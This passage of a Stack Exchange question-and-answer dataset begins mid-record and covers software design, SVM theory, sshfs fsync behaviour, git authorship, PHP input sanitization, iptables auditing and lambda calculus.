          {                // TODO: ggomez - also add to CreatePortfolioRequestCollection method                // see if file upload input control can be restricted to excel and csv                // add additional info below control                if (_portfolioRequestService.ValidatePortfolioRequestFileType(viewModel.File.FileName))                {                    try                    {                        // create new PortfolioRequestCollection instance                        _portfolioRequestService.CreatePortfolioRequestCollection(viewModel.File.FileName, viewModel.File.InputStream, viewModel.ReasonId, PortfolioRequestCollectionSourceId.InternalWebsiteUpload, viewModel.ReviewAllRequestsBeforeRelease, _userService.GetUserName());                        _unitOfWork.Commit();                                                }                    catch (Exception ex)                    {                        ModelState.AddModelError(string.Empty, ex.Message);                        return View(viewModel);                    }                    return RedirectToAction(Index, null, null, The portfolio construction request was successfully submitted!, null);                }                else                {                    ModelState.AddModelError(File, Only Excel and CSV formats are allowed);                }            }            else            {                ModelState.AddModelError(File, A file with portfolio construction requests is required);            }        }        IEnumerable<PortfolioRequestCollectionReason> portfolioRequestCollectionReasons = _unitOfWork.Repository<PortfolioRequestCollectionReason>().Get();        viewModel.Init(portfolioRequestCollectionReasons);        return View(viewModel);    }On the web application I am using Unity DI container to inject the same instance of the unit of work per HTTP request to all callers, so the controller class gets a new instance and then the service class that uses the unit of work gets the same instance as the controller. This way the service adds some records to the repository which is enrolled in a unit of work and can be committed by the client code in the controller.One question regarding the code and architecture described above. How can I get rid of the unit of work dependency at the service classes? Ideally I don't want the service class to have an instance of the unit of work because I don't want the service to commit the transaction, I just would like the service to have a reference to the repository it needs to work with, and let the controller (client code) commit the operation when it see fits.On to the Windows service application, I would like to be able to get a set of records with a single unit of work, say all records in pending status. Then I would like to loop through all those records and query the database to get each one individually and then check the status for each one during each loop because the status might have changed from the time I queried all to the time I want to operate on a single one. The problem I have right now is that my current architecture doesn't allow me to have multiple unit of works for the same instance of the service.public class ProcessPortfolioRequestsJob : JobBase{    IPortfolioRequestService _portfolioRequestService;    public ProcessPortfolioRequestsJob(IPortfolioRequestService portfolioRequestService)    {        _portfolioRequestService = portfolioRequestService;    }The Job class above takes a service in the constructor as a dependency and again is resolved by Unity. The service instance that gets resolved and injected depends on a unit of work. I would like to perform two get operations on the service class but because I am operating under the same instance of unit of work, I can't achieve that.For all of you gurus out there, do you have any suggestions on how I can re-architect my application,  unit of work + repository + service classes to achieve the goals above?I intended to use the unit of work + repository patterns to enable testability on my service classes, but I am open to other design patterns that will make my code maintainable and testable at the same time while keeping separation of concerns.Here's the DataContext class that inherits from EF's DbContext where I declared my EF DbSets and configurations:public class DataContext : DbContext{    public DataContext()        : base(name=ArchSample)    {        Database.SetInitializer<DataContext>(new MigrateDatabaseToLatestVersion<DataContext, Configuration>());        base.Configuration.ProxyCreationEnabled = false;    }    public DbSet<PortfolioRequestCollection> PortfolioRequestCollections { get; set; }    protected override void OnModelCreating(DbModelBuilder modelBuilder)    {        modelBuilder.Conventions.Remove<PluralizingTableNameConvention>();        modelBuilder.Configurations.Add(new PortfolioRequestCollectionConfiguration());        base.OnModelCreating(modelBuilder);    }}"  , "title": "Unit of work + repository + service layer with dependency injection"  , "tags": "c#;design patterns;dependency injection;asp.net mvc;repository"  } 
{  "id": "_datascience.9528"  , "question": "I've understood that SVMs are binary, linear classifiers (without the kernel trick). They have training data $(x_i, y_i)$ where $x_i$ is a vector and $y_i \\in \\{-1, 1\\}$ is the class. As they are binary, linear classifiers the task is to find a hyperplane which separates the data points with the label $-1$ from the data points with the label $+1$.Assume for now, that the data points are linearly separable and we don't need slack variables.Now I've read that the training problem is now the following optimization problem:${\\min_{w, b} \\frac{1}{2} \\|w\\|^2}$s.t. $y_i ( \\langle w, x_i \\rangle + b) \\geq 1$I think I got that minizmizing $\\|w\\|^2$ means maximizing the margin (however, I don't understand why it is the square here. Would anything change if one would try to minimize $\\|w\\|$?).I also understood that $y_i ( \\langle w, x_i \\rangle + b) \\geq 0$ means that the model has to be correct on the training data. However, there is a $1$ and not a $0$. Why?"  , "title": "Where exactly does $\\geq 1$ come from in SVMs optimization problem constraint?"  , "tags": "machine learning;svm"  , "accepted_answer": "First problem: Minimizing $\\|w\\|$ or $\\|w\\|^2$:It is correct that one wants to maximize the margin. This is actually done by maximizing $\\frac{2}{\\|w\\|}$. This would be the correct way of doing it, but it is rather inconvenient. Let's first drop the $2$, as it is just a constant. Now if $\\frac{1}{\\|w\\|}$ is maximal, $\\|w\\|$ will have to be as small as possible. We can thus find the identical solution by minimizing $\\|w\\|$. $\\|w\\|$ can be calculated by $\\sqrt{w^T w}$. As the square root is a monotonic function, any point $x$ which maximizes $\\sqrt{f(x)}$ will also maximize $f(x)$. To find this point $x$ we thus don't have to calculate the square root and can minimize $w^T w = \\|w\\|^2$.Finally, as we often have to calculate derivatives, we multiply the whole expression by a factor $\\frac{1}{2}$. This is done very often, because if we derive $\\frac{d}{dx} x^2 = 2 x$ and thus $\\frac{d}{dx} \\frac{1}{2} x^2 = x$. This is how we end up with the problem: minimize $\\frac{1}{2} \\|w\\|^2$.tl;dr: yes, minimizing $\\|w\\|$ instead of $\\frac{1}{2} \\|w\\|^2$ would work.Second problem: $\\geq 0$ or $\\geq 1$:As already stated in the question, $y_i \\left( \\langle w,x_i \\rangle + b \\right) \\geq 0$ means that the point has to be on the correct side of the hyperplane. However this isn't enough: we want the point to be at least as far away as the margin (then the point is a support vector), or even further away.Remember the definition of the hyperplane,$\\mathcal{H} = \\{ x \\mid \\langle w,x \\rangle + b = 0\\}$.This description however is not unique: if we scale $w$ and $b$ by a constant $c$, then we get an equivalent description of this hyperplane. To make sure our optimization algorithm doesn't just scale $w$ and $b$ by constant factors to get a higher margin, we define that the distance of a support vector from the hyperplane is always $1$, i.e. the margin is $\\frac{1}{\\|w\\|}$. A support vector is thus characterized by $y_i \\left( \\langle w,x_i \\rangle + b \\right) = 1 $. As already mentioned earlier, we want all points to be either a support vector, or even further away from the hyperplane. In training, we thus add the constraint $y_i \\left( \\langle w,x_i \\rangle + b \\right) \\geq 1$, which ensures exactly that.tl;dr: Training points don't only need to be correct, they have to be on the margin or further away."  } 
{  "id": "_webapps.39069"  , "question": "I'm trying to fire a webhook(HTTP request) from Zapier(An If This Then That like service) when a new Github gist is posted, ie have a new gist as the trigger.Zapier has GitHub integration, and supports webhooks, but sadly does not support gists. I know there is a work around - create an RSS feed for the gists and use that as a trigger, but I'd prefer not having to do that.Is there a way I can do this with Zapier, or if not, are there any other web-services/apps that have a similar functionality?"  , "title": "An If-This-Than-That like service fire an HTTP requres triggered by Github Gists"  , "tags": "github;if this then that;zapier"  , "accepted_answer": "Zapier co-founder here, for anyone else curious about how you might do this yourself, Github has really killer API docs which show how to use their API to read/create your gists. Its kind of annoying as you'll have to poll for new entries and compare them across time, but it isn't infeasible. Using a standar RSS reader like Google reader is a simple solution as you eluded to.Further, this is a great suggestion, in fact I spent the last 30 minutes adding support for this. Its live now. If you have a Zapier account already, you'll need to add your Github account to us again to catch the new gist scope.For convenience's sake I've even spun up a quick template that sends a POST whenever a new Gist is detected."  } 
{  "id": "_cstheory.32605"  , "question": "I have a set of N items, each with a subset of those items they can be paired with; each pair has a weight.  I'd like to choose pairs to maximize the total weight, subject to each item being in at most M pairs.I believe this can be seen as an instance of the Stable Fixtures Problem (itself a generalization of the Stable Roommates Problem), which seeks to find a stable matching if one exists.  However, I don't really care if the matching is stable, and I want to find a high-weight matching in every case.  It doesn't need to be optimal, approximate is fine.Are there any approximate solutions for this problem, or does this problem go by another name in another field?  Approaches I can think of would be to randomly perturb the ranks (weights) until a stable matching is found, or perhaps treat it as a linear programming problem."  , "title": "Approximations for the Stable Fixtures Problem"  , "tags": "ds.algorithms;co.combinatorics;approximation algorithms;matching;heuristics"  , "accepted_answer": "Your problem is called maximum weighted simple b-matching, and it's solvable in strongly polynomial time. See this paper for instance."  } 
{  "id": "_unix.161964"  , "question": "Background: I'm investigating methods for encrypted storage on untrusted machines. My current setup uses sshfs to access a LUKS-encrypted image on the remote machine, which is decrypted locally and mounted as ext3. (If I were to use sshfs only, someone gaining access to the remote machine could see my data.) Here's my example setup:# On the local machine:sshfs remote:/home/crypt /home/cryptcryptsetup luksOpen /home/crypt/container.img containermount /dev/mapper/container /home/crypt-open# Place cleartext files in /home/crypt-open,# then reverse the above steps to unmount.I want to make this resilient against network failures. To do this, I'd like to understand what caching / buffering happens with this setup. Consider these two commands:dd if=/dev/random of=/home/crypt-open/test.dat bs=1000000 count=100dd if=/dev/random of=/home/crypt-open/test.dat bs=1000000 count=100 conv=fsyncThe first command returns very quickly, and I can see from the network traffic that the data is still being transmitted after the command has returned. The second command seems to wait until the data is finished transferring.Concrete questions: What guarantees does fsync() make under this setup? When fsync() returns, how far along these layers is the data guaranteed to be synced? And what can I do to guarantee that it gets synced all the way down to the remote machine's hard drive?--- /home/crypt-open on the local machine|| (ext3 fs)|--- /dev/mapper/container on the local machine|| (LUKS)|--- /home/crypt/container.img on the local machine|| (sshfs)|--- /home/crypt/container.img on the remote machine|| (ext3 fs)|--- hard drive on the remote machine"  , "title": "Meaning of fsync() in sshfs+LUKS setup"  , "tags": "luks;sshfs;buffer"  , "accepted_answer": "I'd assume the weakest link here is the SSHFS code -- the rest of the stuff is in kernel and pretty heavily used, so it's probably fine.  I've never actually looked at any FUSE code before, so there could be something else going on that I've missed, but according to the SSHFS source code, SSHFS's implementation of fsync() doesn't do a whole bunch, it just calls flush() on the IO stream.static int sshfs_fsync(const char *path, int isdatasync,                       struct fuse_file_info *fi){    (void) isdatasync;    return sshfs_flush(path, fi);}At sshfs.c:2551, we can see that sshfs_flush() function doesn't send any sort of sync command to the remote machine that enforces an fsync.  I believe the sshfs.sync_write flag means wait for commands to go to the server before returning from write, not fsync on the server on every write because that second meaning would be very odd.  Thus your fsync measurement is slower because it's bottlenecked by network speed, not remote disk speed.static int sshfs_flush(const char *path, struct fuse_file_info *fi){    int err;    struct sshfs_file *sf = get_sshfs_file(fi);    struct list_head write_reqs;    struct list_head *curr_list;    if (!sshfs_file_is_conn(sf))        return -EIO;    if (sshfs.sync_write)        return 0;    (void) path;    pthread_mutex_lock(&sshfs.lock);    if (!list_empty(&sf->write_reqs)) {        curr_list = sf->write_reqs.prev;        list_del(&sf->write_reqs);        list_init(&sf->write_reqs);        list_add(&write_reqs, curr_list);        while (!list_empty(&write_reqs))            pthread_cond_wait(&sf->write_finished, &sshfs.lock);    }    err = sf->write_error;    sf->write_error = 0;    pthread_mutex_unlock(&sshfs.lock);    return err;}Note that it's possible that the remote SFTP implementation does actually fsync on writes, but I think that's actually not what's happening.  According to an old draft of the SFTP standard (which is the best I can find) there is a way to specify this behavior:7.9. attrib-bits and attrib-bits-valid...SSH_FILEXFER_ATTR_FLAGS_SYNC       When the file is modified, the changes are written synchronously       to the disk.which would imply that this isn't the default (as it's faster to not fsync).  According to that standards document there doesn't appear to be a way to request a fsync on the remote file, but it looks like OpenSSH supports this as an extension to SFTP/* SSH2_FXP_EXTENDED submessages */struct sftp_handler extended_handlers[] = {    ...    { fsync, fsync@openssh.com, 0, process_extended_fsync, 1 },    ...};static voidprocess_extended_fsync(u_int32_t id){    int handle, fd, ret, status = SSH2_FX_OP_UNSUPPORTED;    handle = get_handle();    debug3(request %u: fsync (handle %u), id, handle);    verbose(fsync \\%s\\, handle_to_name(handle));    if ((fd = handle_to_fd(handle)) < 0)        status = SSH2_FX_NO_SUCH_FILE;    else if (handle_is_ok(handle, HANDLE_FILE)) {        ret = fsync(fd);        status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK;    }    send_status(id, status);}I doubt it'd be hard to query for that extension and properly support fsync in SSHFS, that seems a pretty reasonable thing to do.  That said, I think it'd probably be easier to just use Linux's network block device support which I assume supports all this stuff properly (though I've never used it myself, so it could be horrible)."  } 
{  "id": "_webapps.97931"  , "question": "I'm new at GitHub and I've noticed that GitHub allows to commit under any user's data (and submit pull requests under my account using commits made with fake users data). For example, I am able to set my user.name and user.email and pretend that I'm another user, and GitHub will automatically link this user name to the original owner of the e-mail address, while actually that person didn't commit anything and didn't give any permissions to commit using his/her pesonal data. I'm quite lost, cause I have no idea how to prevent this. Not only I can use another's data, but people also can use mine. Can anyone please clarify this for me?"  , "title": "Commit under another user on GitHub"  , "tags": "github"  , "accepted_answer": "Each git commit contains author information as plain text (call it the commiter or the author). This data is filled from git config or from command line at commit time and can be faked because it can not be verified in any way.Each git server accepts to receive git objects (including commit git-objects) from all write-enabled registered users. Those registered users push their work to the server (with commit author matching their name) as well as the contributed work of anyone which authorship is kept (commit author still matching real author).Having core developers to accept commits from any contributor (sent as pull request, or by email for example) and push their contributed work mainline is a common git workflow in open-source projects.Git does not permit the use of someone else's data but rather the use of its identity in commit author fields, yes. Hooks can be set on server-side to reject those commits but I never heard about such bad idea which denies the opportunity to keep root author names."  } 
{  "id": "_softwareengineering.355233"  , "question": "I have a big legacy C++ project need to implement unit testing with google test framework.I have managed to mock a module B which is a A depends on. So successfully write a unit test. But my question is now B is mocked. So to unit test B we need another test executable. So is it okay to have more than one test executable build with different mocks?Is it okay with test/build server automation?"  , "title": "more than one google test executable?"  , "tags": "c++"  } 
{  "id": "_softwareengineering.219755"  , "question": "Working on a E-commerce solution where I need to handle checkout based on anonymous customer and as of now I am not able to think properly how best this can be implemented.Our ShoppingCart is being saved in database and and every update/ edit in ShoppingCart is being updated in database.Now I need to take care about creating an anonymous customer and than assign this cart to that customer so that add to cart and well checkout can be associated with this customer.Can anyone suggest me what can be the right way to go for this?Should I create one anonymous user in database and use it everytime a request for new customer (anonymous ) is being created.Place that user in current user session.Perform any operation on cart with respect to the current session"  , "title": "anonymous checkout"  , "tags": "java;design;e commerce;session"  } 
{  "id": "_softwareengineering.313712"  , "question": "I am thinking about the concepts of a web-application in which users can upload files to the server. I have multiple questions about the storage of these files.Imagine a service with 10,000+ users and 20TB of uploaded data. What would be the better practice when it comes to storing the data on the server?Directly in the Database. This would probably be very nice because of automatic backups of the files when a backup of the database is created. However, I am worried it could drastically slow down the database access. As Files on the server. The better choice? Backups are more complicated but maybe the access to the files is faster?Also, when more and more users register and upload more and more files the disk capacity will decrease exponentially. Would you, at some point, suggestMake use of a 3rd party service provider to store the masses of data - how fast is the access here, can I download / upload at any time?Get more and more harddrives and build a huge RAID storage system?"  , "title": "Storing mass user-files"  , "tags": "data;storage;file storage"  } 
{  "id": "_softwareengineering.178551"  , "question": "This is a follow up question to my original question.  I'm thinking of going with generating diffs and storing those diffs in the database 'History' table. I'm using diff-match-patch library to generate what is called a 'patch'. On every save, I compare previous and new version and generate this patch. The patch could be used to generate a document at specific point in time. My dilemma is how to store this data. Should I:a Insert a new database record for every patch?b. Store these patches in javascript array and store that array in history table. So there is only one db History record for document with an array of all the patches.Concerns with:a. Too many db records generated. Will be slow and CPU intensive to query.b. Only one record. If record is somehow corrupted/deleted. Entire revision history is gone.I'm looking for suggestions, concerns with either approach.  "  , "title": "Storing revisions of a document"  , "tags": "database;database design;versioning"  } 
{  "id": "_codereview.29269"  , "question": "I'm trying to clean some incoming $_GET parameters.  I've not done this before, so I'd love feedback.I'm especially concerned with the array.  While all the other parameters control simple logic, the array will be saved into the database and potentially output to users.Please also feel free to point out any redundancies.<?php// int: only want a positive value// array: wont know what this could be but it could be anything urlencoded// string: three possible outcomes: foo, bar, fudge( isset( $_GET[val1] ) ? (bool) $val1 = true                              : (unset) $val1 );( isset( $_GET[val2] ) ? (int) $val2 = sanitize_absint( $_GET[val2] )   : (unset) $val2 );( isset( $_GET[val3] ) ? (array) $val3 = sanitize_array($_GET[val3])        : (unset) $val3 );( isset( $_GET[val4] ) ? (string) $val4 = sanitize_string($_GET[val4])  : (unset) $val4 );// further refine val4 stringval4_strip($val_4);// sanitizefunction gfahp_sanitize_absint( $int ) {    $int = filter_var( $int, FILTER_SANITIZE_NUMBER_INT );    $int = abs( intval( $int ) ); // positive number    return $int;}function gfahp_sanitize_string( $string ) {    // is this enough to prevent anything icky?    $string = filter_var( $string, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW );    return $string;}function gfahp_sanitize_array( $array ) {     $array = array_walk_recursive( $array, gfahp_sanitize_string );     return $array;}function val4_strip($val_4){// strip down val4    if (!empty($val4){        switch ($val4) {            case 'foo':                $val4 = 'foo';            break;            case 'bar':                $val4 = 'bar';            break;            case 'fudge':                $val4 = 'fudge';            break;                  default:            $val4 = (unset) $val4            break;        }    }    return $val4;}"  , "title": "Am I sufficiently cleaning incoming $_GET parameters, especially in the array?"  , "tags": "php;url"  } 
{  "id": "_unix.206891"  , "question": "I'm aware of how to audit for changes to the /etc/sysconfig/iptables file in CentOS/RHEL 6 and earlier, but how do I audit for changes made only to the running configuration?"  , "title": "Audit on changes to the running iptables configuration"  , "tags": "linux;iptables;linux audit"  , "accepted_answer": "The following auditctl rule should suffice:[root@vh-app2 audit]# auditctl -a exit,always -F arch=b64 -F a2=64 -S setsockopt -k iptablesChangeTesting the change:[root@vh-app2 audit]# iptables -A INPUT -j ACCEPT[root@vh-app2 audit]# ausearch -k iptablesChange----time->Mon Jun  1 15:46:45 2015type=CONFIG_CHANGE msg=audit(1433188005.842:122): auid=90328 ses=3 op=add rule key=iptablesChange list=4 res=1----time->Mon Jun  1 15:47:22 2015type=SYSCALL msg=audit(1433188042.907:123): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=40 a3=7dff50 items=0 ppid=55654 pid=65141 auid=90328 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=3 comm=iptables exe=/sbin/iptables-multi-1.4.7 key=iptablesChangetype=NETFILTER_CFG msg=audit(1433188042.907:123): table=filter family=2 entries=6[root@vh-app2 audit]# ps -p 55654  PID TTY          TIME CMD55654 pts/0    00:00:00 bash[root@vh-app2 audit]# tty/dev/pts/0[root@vh-app2 audit]# cat /proc/$$/loginuid90328[root@vh-app2 audit]#As you can see from the above output, after auditing for calls to setsockopt when optname is IPT_SO_SET_REPLACE (which is 64 decimal, 0x40 hex) it was able to log changes to the running iptables configuration.I was then able to catch the relevant audit information such as the the user's loginuid (since they would likely have sudo'd to root prior to updating the firewall) as well as the PID of the calling program."  } 
{  "id": "_codereview.107798"  , "question": "I have a 'Membership' model that keeps track of a Member's membership. A membership can be updated by an admin (admin_add), or by the user (update). This code is working great, but I'd love some feedback on how it looks, sections that could be improved, etc.Membership Model: class Membership extends AppModel {        /**         * Validation rules         *         * @var array         */        public $validate = array(                'membership_type_id' => array(                        'notempty' => array(                                'rule' => 'notBlank',                                'message' => 'Membership Type Required',                                'allowEmpty' => false,                                'required' => true,                        ),                        'validateMembership' => array(                                'rule' => 'validateMembershipTypeModel',                                'message' => 'Invalid Membership Type',                        ),                ),                'updated_by_member_id' => array(                        'validateMember' => array(                                'rule' => 'validateMemberId',                                'message' => 'Invalid Updated By Member ID',                                'allowEmpty' => true,                        ),                ),                'payment_id' => array(                        'validatePayment' => array(                                'rule' => 'validatePayment',                                'message' => 'Invalid Payment ID',                                'allowEmpty' => true,                        ),                ),                'expires' => array(                'rule' => array('date', 'ymd'),                'message' => 'Please enter a valid expiration date',                'allowEmpty' => false,                'required' => true            ),             'renewed' => array(                'rule' => array('date', 'ymd'),                'message' => 'Please enter a valid renewal date',                'allowEmpty' => true,            ),         );        /*        * Validation function to make sure the membership type id is valid        *        * @return bool        */        public function validateMembershipTypeModel($check) {                $mTypeModel = ClassRegistry::init('MembershipType');                if($mTypeModel->validateMembershipType($this->data['Membership']['membership_type_id'])) {                        return true;                }                return false;    }    /*        * Validation function to make sure the updated_by_member_id is valid (a valid member)        *        * @return bool        */        public function validateMemberId($check) {                if(! isset($this->data['Membership']['updated_by_member_id'])) {                        return false;                }                $mModel = ClassRegistry::init('Member');                $mModel->contain();                if($mModel->findById($this->data['Membership']['updated_by_member_id'])) {                        return true;                }                return false;    }     /*        * Validation function to make sure the payment ID is valid        *        * UPDATE        *        * @return bool        */        public function validatePayment($check) {                return true;    }        /**         * belongsTo associations         *         * @var type array        */        public $belongsTo = array(                'Member',                'MembershipType'        );        /*        * Validate Membership Data        *        * return array membership data        */        public function _validateMembershipData($data = array()) {                // Validate 'corporate' flag                if(isset($data['corporate']) && $data['corporate'] == 'on') {                        $data['corporate'] = 1;                }                // Validate 'international' flag                if(isset($data['international']) && $data['international'] == 'on') {                        $data['international'] = 1;                }                return $data;        }        /*        * Create new membership        * Anytime a membership is updated, this function is called        *        *        * return integer membershipID        */        public function createNewMembership($data) {                if(empty($data)) {                        return false;                }                // Validate data                $membership_data = $this->_validateMembershipData($data);                $this->set($membership_data);                if ($this->validates()) {                        // Save data                                   $this->create();                        if(! $this->save($membership_data)) {                                throw new NotFoundException('Could not find save membership');                        }                        // Assign the membership_id to the member                        if(! $this->assignMembershipToMember($this->id, $data['member_id'])) {                                throw new NotFoundException('Could not find save membership_id to member');                        }                        // Return Membership ID                        return $this->id;                }                return false;        }        /*        * Assign a membership id to a member        *        * param membership_id        * param member id        * return bool on success        */        public function assignMembershipToMember($membership_id, $member_id) {                $member = ClassRegistry::init('Member');                       $member->id = $member_id;                if($member->saveField('membership_id', $membership_id)) {                        return true;                }                return false;        }}/** * Memberships Controller * * @property Membership $Membership * @property PaginatorComponent $Paginator * @property SessionComponent $Session */class MembershipsController extends AppController {        public $uses = array('Member', 'Membership', 'MembershipType');        /**         * admin_update method - Update a member's Membership         *         * @throws NotFoundException         * @param integer $id         * @return void         */        public function admin_update($id = null) {                // Validate the member id                $this->Member->contain('Membership');                $member = $this->Member->findById($id);                if (! $this->Member->exists($id)) {                        throw new NotFoundException(__('Invalid member'));                }                if ($this->request->is(array('post', 'put'))) {                        // Fill in some of the membership data manually                        $this->request->data['Membership']['updated_by_member_id'] = $this->Auth->user('id');                        $this->request->data['Membership']['member_id'] = $id;                        $this->request->data['Membership']['renewed'] = date('Y-m-d');                        $this->request->data['Membership']['created_by'] = 'MANUAL';                        // Create the membership                        if ($this->Membership->createNewMembership($this->request->data['Membership'])) {                                $this->Session->setFlash(__('Membership Updated.'), 'success');                                return $this->redirect(array('admin' => false, 'controller' => 'members', 'action' => 'view', $id));                        } else {                                $this->Session->setFlash(__('There was an error updating the membership. Please try again.'), 'error');                        }                } else {                        $this->request->data = $this->Membership->find('first', array('conditions' => array('id' => $member['Member']['membership_id'])));                                     }        }        /**         * update method - Update a member's Membership         *         * @throws NotFoundException         * @param integer $id         * @return void         */        public function update($membership_type_id = null) {                // Validate the membership type id                $this->MembershipType->contain();                $membership_type = $this->MembershipType->findById($membership_type_id);                if(! $membership_type) {                        $this->Session->setFlash(Invalid Membership Type, 'error');                        return $this->redirect('/');                }                // Set the member ID to the person logged in                $memberId = $this->Auth->user('id');                // If they are submitting                if ($this->request->is('post')) {                        // Assume true for testing                        $payment = true;                        $international = true;                        if($payment === true) {                                // Build the membership data                                $membership_data = array(                                        'member_id' => $memberId,                                        'membership_type_id' => $membership_type_id,                                        'renewed' => date('Y-m-d'),                                        'expires' => date('Y-m-d', strtotime(+1 year)),                                );                                // Create a new membership                                if($this->Membership->createNewMembership($membership_data)) {                                        $this->Session->setFlash(Success! Your membership has been updated! Please make sure your address is correct below!, 'success');                                        return $this->redirect(array('controller' => 'members', 'action' => 'view'));                                }  else {                                        $this->Session->setFlash(__('There was an error updating the membership. Please try again.'), 'error');                                }                        }                }                $this->set(compact('membership_type'));        }}"  , "title": "CakePHP Membership Management"  , "tags": "php;cakephp"  } 
{  "id": "_reverseengineering.8017"  , "question": "Say we have a Windows application, which sends some packets over HTTPS. We need to extract the content of this packets (unencrypted of course).There is no way to get hands on server private certificate and MitM attack doesn't work (some MitM defense is used by this application). So, decryption seems to be off the table.The only choice (I suppose) is to extract these packets from the application before they get encrypted. Application is well protected, it has no dependency on OpenSSL DLLs. However, we have a certain feeling that it uses OpenSSL (but, statically linked, may be OpenSSL source was even modified before compiling/linking).Hooking a call to OpenSSL functions (like ssl_write()) is not simple, because the application's executable is packed and obfuscated. It also has a debugging protection, but a stealth debugger, which avoid this defense, is already found. So, we can debug this application. However, the code, as seen during debugging, is a complete mess (obfuscated). Even the system DLLs, being loaded by this application, are completely messed. Here is an example of how the send() function from WS2_32.dll looks like during debugging of this application. For reference, here is how it looks like from normal (unprotected) application. So, it's very hard to understand how the function arguments are passed, moreover it looks like they can be passed via different ways (not sure, but looks so according debugging experiments).This seems to be a quite common task, since there are many Windows applications which use HTTPS and statically linked OpenSSL.Hopefully somebody have such experience and can share it."  , "title": "Extracting HTTPS packets before encryption"  , "tags": "debugging;dll injection;https protocol"  } 
{  "id": "_codereview.4960"  , "question": "I'm trying to isolate a webservice in its own class, and I plan to add separate classes to each webmethod there is in the webservice.  What I have so far works, but I have this feeling tickling that I've missed something (except for the invisible variable declarations down here, I didn't want to clog the page).Webservice instantiation class and its fault handler: public class CfdWS        {            [Bindable]             private var model:ModelLocator = ModelLocator.getInstance();            public function loadWebService():WebService{                var webService : WebService = new WebService();                webService.wsdl = model.configXML.cfdwsWSDL;                webService.addEventListener(FaultEvent.FAULT, onWebServiceFault);                webService.loadWSDL();                return webService;            }            private function onWebServiceFault(event:FaultEvent):void{                var fault: Fault = event.fault;                var message:String = \\ncodigo:  + fault.faultCode;                message += \\nDetalle:  + fault.faultDetail;                Alert.show(Error de webservice: + message);            }        }    }The following is my webservice method call class. I have written only what I think is the essential code for the question.public class GeneratePDF extends CfdWS{    public function generatePDF():void{                webService = loadWebService();                webService.addEventListener(LoadEvent.LOAD, doGeneratePDF);            }            private function doGeneratePDF(event:LoadEvent):void{                webService.generatePDF.addEventListener(ResultEvent.RESULT, generatePDFResultHandler);                webService.generatePDF(pdfData);            }            private function generatePDFResultHandler (event:ResultEvent):void{                // After getting what I want, I remove the event listeners here.            }}I'm trying to re-write an application that is already in production while on testing phase (testing for the next version I mean)."  , "title": "Actionscript web service and web method call classes"  , "tags": "actionscript 3"  , "accepted_answer": "I don't see why would you put every method of the service in a separate class. A method is a function of the class. I imagine you wanted to decouple your code, but doing it this way you will force a lot of overhead:the service is instantiated for every 'method' called, and then, hopefully, garbage collected (as you remove event listeners and there's no more references to the service left)because of above, the service is stateless; with time you may want to add some functionality like caching, but you'd need to change whole code structure for thatCfdWS - not descriptive name; your way of decoupling code will force you to make three or even five times more classes then you normally would, so I would expect a hell on the file-naming levelreally, dividing to so many classes is not a good idea - you don't want to switch between files all the time; try to put related code in one Class, and if it grows big, create some helper classesI think you already understand the benefit of a good MVC implementation, try Robotlegs, it really makes a life easier:http://www.robotlegs.org/"  } 
{  "id": "_computerscience.4155"  , "question": "I have got a weird bug that I cannot figure out. The Apple forums were not too helpful.I updated my MacBookPro (Retina, early 2015) to the newest OS X Sierra. My code ran fine before, now when I call glfwCreateWindow(mWidth, mHeight, mTitle, nullptr, nullptr);, I get following error:> ERROR: Setting <private> as the first responder for window<private>,but it is in a different window ((null))! This would> eventually crash when the view is freed. The first responder will be> set to nil.I have got no idea, why my program does not work and yes, I have set the glfw to be forward compatible.P.S. computer info:MacBook Pro (Retina 13 inch, early 2015)CPU: 2.7 GHz Intel core i5GPU: Intel Iris Graphics 6100 1536 MB"  , "title": "Error when calling glfwCreateWindow() on OS X after updating to Sierra"  , "tags": "opengl"  } 
{  "id": "_cs.66845"  , "question": "I was reading the book lambda calculi , encountered  an equality theory called the rule of weak extensionality, which is shown as follows.$\\frac{M \\, = \\, N}{\\lambda x.M \\, = \\, \\lambda x.N}$Yes, it is obviously true.  But why it is called the rule of weak extensionality? what is weak? what is extensionality here means?I think the reason should be interesting."  , "title": "what is weak extensionality in $\\lambda$-calculus?"  , "tags": "lambda calculus"  , "accepted_answer": "There are different kinds of equality. Equality is said to be extensional when things are equal when their parts are equal, so to speak:Equality the elements of $A \\times B$ is extensional if, for all $u, v : A \\times B$, $u = v$ if and only if $\\pi_1(u) = \\pi_1(v)$ and $\\pi_2(u) = \\pi_2(v)$. Here $\\pi_1$ and $\\pi_2$ are canonical projections. That is, $u$ and $v$ are equal if they have the same components (parts).Equality of elements of $A \\to B$ is extensional if, for all $f, g : A \\to B$, $f = g$ if and only if $f(a) = g(a)$ for all $a : A$. That is, $f$ and $g$ are equal if they have the same values (parts).Equality of sets is equal if, for all sets $S$ and $T$, $S = T$ if and only if $x \\in S \\Leftrightarrow x \\in T$ for all $x$. That is, $S$ and $T$ are equal if they have the same elements (parts).Equality which is not extensional is called intensional. For instance, if by $A \\to B$ we mean programs (pieces of code) which take inputs $A$ and produce outputs $B$ then equality of functions could simply mean equality of the code.The rules of the $\\lambda$-calculus do not specify whether equality is extensional or intensional. They allow for both possibilities. With this in mind we see that it is not entirely clear whether the $\\xi$-rule (that's what it's called)$$\\frac{M = N}{\\lambda x . M = \\lambda x . N} \\tag{$\\xi$}$$should be part of $\\lambda$-calculus. Normally it is, but we could envision a situation in which $\\lambda x . M$ gets compiled differently from $\\lambda x . N$ for some reason. So much about it being obviously true.Personally, I would not call the $\\xi$-rule weak extensionality because that conveys the wrong idea. It is a congruence rule expressing the fact that $\\lambda$-abstraction preserves equality. Another congruence rule is$$\\frac{M_1 = M_2 \\qquad N_1 = N_2}{M_1 N_1 = M_2 N_2}.$$If we insist, we can think of the $\\xi$-rule as weak form of extensionality in the sense that two $\\lambda$-abstractions are equal if their bodies (parts) are equal."  } 
